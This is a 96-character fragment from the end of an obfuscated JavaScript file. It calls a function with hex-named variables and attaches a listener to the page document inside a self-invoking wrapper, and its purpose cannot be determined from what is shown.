_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());